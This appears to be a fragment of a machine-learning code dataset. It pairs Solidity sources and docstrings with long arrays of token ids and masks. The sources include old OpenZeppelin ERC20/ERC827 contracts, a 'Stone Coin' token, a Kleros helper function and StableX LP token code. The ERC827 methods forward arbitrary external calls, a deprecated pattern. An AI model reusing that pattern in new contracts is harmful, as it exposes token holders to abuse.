1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
436,
407,
67,
502,
2038,
30,
145,
115,
146,
229,
145,
113,
146,
228,
145,
123,
145,
121,
145,
115,
145,
113,
146,
229,
146,
239,
2916,
16,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
* Die THE STONE COIN AG sichert zu, dass die von ihr im Rahmen der Token-Ausgabe netto (=nach Abzug ihrer Kosten/Steuern)
* vereinnahmten Mittel in den Aufbau und dauerhaften Betrieb eines europäischen Immobilienportfolios – unter Berücksichtigung
* internationaler Chancen – investiert werden (REAL SHIELD).
*
* The THE STONE COIN AG assures that the net funds (= after their costs and taxes) raised by the initial STONE COIN sales
* will be invested in the creation and permanent operation of a European real estate portfolio (REAL SHIELD) – taking into
* consideration international opportunites.
*/
//File: node_modules/openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
pragma solidity ^0.4.21;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
//File: node_modules/openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.4.21;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//File: node_modules/openzeppelin-solidity/contracts/token/ERC827/ERC827.sol
pragma solidity ^0.4.21;
/**
* @title ERC827 interface, an extension of ERC20 token standard
*
* @dev Interface of a ERC827 token, following the ERC20 standard with extra
* @dev methods to transfer value and data and execute calls in transfers and
* @dev approvals.
*/
contract ERC827 is ERC20 {
function approveAndCall( address _spender, uint256 _value, bytes _data) public payable returns (bool);
function transferAndCall( address _to, uint256 _value, bytes _data) public payable returns (bool);
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public
payable
returns (bool);
}
//File: node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol
pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
//File: node_modules/openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
pragma solidity ^0.4.21;
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
//File: node_modules/openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
pragma solidity ^0.4.21;
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
//File: node_modules/openzeppelin-solidity/contracts/token/ERC827/ERC827Token.sol
/* solium-disable security/no-low-level-calls */
pragma solidity ^0.4.21;
/**
* @title ERC827, an extension of ERC20 token standard
*
* @dev Implementation the ERC827, following the ERC20 standard with extra
* @dev methods to transfer value and data and execute calls in transfers and
* @dev approvals.
*
* @dev Uses OpenZeppelin StandardToken.
*/
contract ERC827Token is ERC827, StandardToken {
/**
* @dev Addition to ERC20 token methods. It allows to
* @dev approve the transfer of value and execute a call with the sent data.
*
* @dev Beware that changing an allowance with this method brings the risk that
* @dev someone may use both the old and the new allowance by unfortunate
* @dev transaction ordering. One possible solution to mitigate this race condition
* @dev is to first reduce the spender's allowance to 0 and set the desired value
* @dev afterwards:
* @dev https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* @param _spender The address that will spend the funds.
* @param _value The amount of tokens to be spent.
* @param _data ABI-encoded contract call to call `_to` address.
*
* @return true if the call function was executed successfully
*/
function approveAndCall(address _spender, uint256 _value, bytes _data) public payable returns (bool) {
require(_spender != address(this));
super.approve(_spender, _value);
// solium-disable-next-line security/no-call-value
require(_spender.call.value(msg.value)(_data));
return true;
}
/**
* @dev Addition to ERC20 token methods. Transfer tokens to a specified
* @dev address and execute a call with the sent data on the same transaction
*
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
* @param _data ABI-encoded contract call to call `_to` address.
*
* @return true if the call function was executed successfully
*/
function transferAndCall(address _to, uint256 _value, bytes _data) public payable returns (bool) {
require(_to != address(this));
super.transfer(_to, _value);
// solium-disable-next-line security/no-call-value
require(_to.call.value(msg.value)(_data));
return true;
}
/**
* @dev Addition to ERC20 token methods. Transfer tokens from one address to
* @dev another and make a contract call on the same transaction
*
* @param _from The address which you want to send tokens from
* @param _to The address which you want to transfer to
* @param _value The amout of tokens to be transferred
* @param _data ABI-encoded contract call to call `_to` address.
*
* @return true if the call function was executed successfully
*/
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public payable returns (bool)
{
require(_to != address(this));
super.transferFrom(_from, _to, _value);
// solium-disable-next-line security/no-call-value
require(_to.call.value(msg.value)(_data));
return true;
}
/**
* @dev Addition to StandardToken methods. Increase the amount of tokens that
* @dev an owner allowed to a spender and execute a call with the sent data.
*
* @dev approve should be called when allowed[_spender] == 0. To increment
* @dev allowed value is better to use this function to avoid 2 calls (and wait until
* @dev the first transaction is mined)
* @dev From MonolithDAO Token.sol
*
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
* @param _data ABI-encoded contract call to call `_spender` address.
*/
function increaseApprovalAndCall(address _spender, uint _addedValue, bytes _data) public payable returns (bool) {
require(_spender != address(this));
super.increaseApproval(_spender, _addedValue);
// solium-disable-next-line security/no-call-value
require(_spender.call.value(msg.value)(_data));
return true;
}
/**
* @dev Addition to StandardToken methods. Decrease the amount of tokens that
* @dev an owner allowed to a spender and execute a call with the sent data.
*
* @dev approve should be called when allowed[_spender] == 0. To decrement
* @dev allowed value is better to use this function to avoid 2 calls (and wait until
* @dev the first transaction is mined)
* @dev From MonolithDAO Token.sol
*
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
* @param _data ABI-encoded contract call to call `_spender` address.
*/
function decreaseApprovalAndCall(address _spender, uint _subtractedValue, bytes _data) public payable returns (bool) {
require(_spender != address(this));
super.decreaseApproval(_spender, _subtractedValue);
// solium-disable-next-line security/no-call-value
require(_spender.call.value(msg.value)(_data));
return true;
}
}
//File: node_modules/openzeppelin-solidity/contracts/ownership/Ownable.sol
pragma solidity ^0.4.21;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
//File: node_modules/openzeppelin-solidity/contracts/lifecycle/Pausable.sol
pragma solidity ^0.4.21;
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
//File: node_modules/openzeppelin-solidity/contracts/token/ERC20/PausableToken.sol
pragma solidity ^0.4.21;
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
//File: contracts/ico/StoToken.sol
/**
* @title Stone Coin
*
* @version 1.0
* @author Validity Labs AG <[email protected]>
*/
pragma solidity ^0.4.21;
/**
* @dev Constructor of StoToken that instantiates a new PausableToken
*/
contract StoToken is PausableToken, ERC827Token {
string public constant name = "Stone Coin";
string public constant symbol = "STO";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_BALANCE = 10**6 * 10**uint256(decimals); // 1 million STO tokens
function StoToken(address _owner, address initialAccount) public {
require(_owner != address(0) && initialAccount != address(0) && _owner != initialAccount);
owner = _owner;
balances[initialAccount] = INITIAL_BALANCE;
totalSupply_ = INITIAL_BALANCE;
emit Transfer(address(0), initialAccount, INITIAL_BALANCE);
}
} | 1 million STO tokens
| uint256 public constant INITIAL_BALANCE = 10**6 * 10**uint256(decimals); | 1,580,795 | [
1,
21,
312,
737,
285,
2347,
51,
2430,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2254,
5034,
1071,
5381,
28226,
67,
38,
1013,
4722,
273,
1728,
636,
26,
380,
1728,
636,
11890,
5034,
12,
31734,
1769,
1377,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/42/0x58D6128e8dE011E8d821d09A8431b9DA0405392e/sources/KlerosGovernor.sol | * @dev Returns the contribution value and remainder from available ETH and required amount. @param _available The amount of ETH available for the contribution. @param _requiredAmount The amount of ETH required for the contribution. @return taken The amount of ETH taken. @return remainder The amount of ETH left from the contribution./ | function calculateContribution(uint _available, uint _requiredAmount)
internal
pure
returns(uint taken, uint remainder)
{
if (_requiredAmount > _available)
taken = _available;
else {
taken = _requiredAmount;
remainder = _available - _requiredAmount;
}
}
| 3,377,911 | [
1,
1356,
326,
24880,
460,
471,
10022,
628,
2319,
512,
2455,
471,
1931,
3844,
18,
282,
389,
5699,
1021,
3844,
434,
512,
2455,
2319,
364,
326,
24880,
18,
282,
389,
4718,
6275,
1021,
3844,
434,
512,
2455,
1931,
364,
326,
24880,
18,
225,
327,
9830,
1021,
3844,
434,
512,
2455,
9830,
18,
225,
327,
10022,
1021,
3844,
434,
512,
2455,
2002,
628,
326,
24880,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
4604,
442,
4027,
12,
11890,
389,
5699,
16,
2254,
389,
4718,
6275,
13,
203,
3639,
2713,
203,
3639,
16618,
203,
3639,
1135,
12,
11890,
9830,
16,
2254,
10022,
13,
203,
565,
288,
203,
3639,
309,
261,
67,
4718,
6275,
405,
389,
5699,
13,
203,
5411,
9830,
273,
389,
5699,
31,
203,
3639,
469,
288,
203,
5411,
9830,
273,
389,
4718,
6275,
31,
203,
5411,
10022,
273,
389,
5699,
300,
389,
4718,
6275,
31,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// Dependency file: contracts/libraries/SafeMath.sol
// pragma solidity =0.6.12;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMathStableX {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
// Dependency file: contracts/StableXv3ERC20.sol
// pragma solidity =0.6.12;
// import 'contracts/libraries/SafeMath.sol';
contract StableXv3ERC20 {
using SafeMathStableX for uint;
string public constant name = 'StableX LP Token';
string public constant symbol = 'StableX_LP';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'StableXv3: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'StableXv3: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// Dependency file: contracts/libraries/Math.sol
// pragma solidity =0.6.12;
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// Dependency file: contracts/libraries/UQ112x112.sol
// pragma solidity =0.6.12;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// Dependency file: contracts/interfaces/IERC20.sol
// pragma solidity =0.6.12;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// Dependency file: contracts/interfaces/IyToken.sol
// pragma solidity =0.6.12;
interface IyToken {
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function deposit(uint) external;
function withdraw(uint) external;
function balance() external view returns (uint);
}
// Dependency file: contracts/interfaces/IStableXv3Factory.sol
// pragma solidity =0.6.12;
interface IStableXv3Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
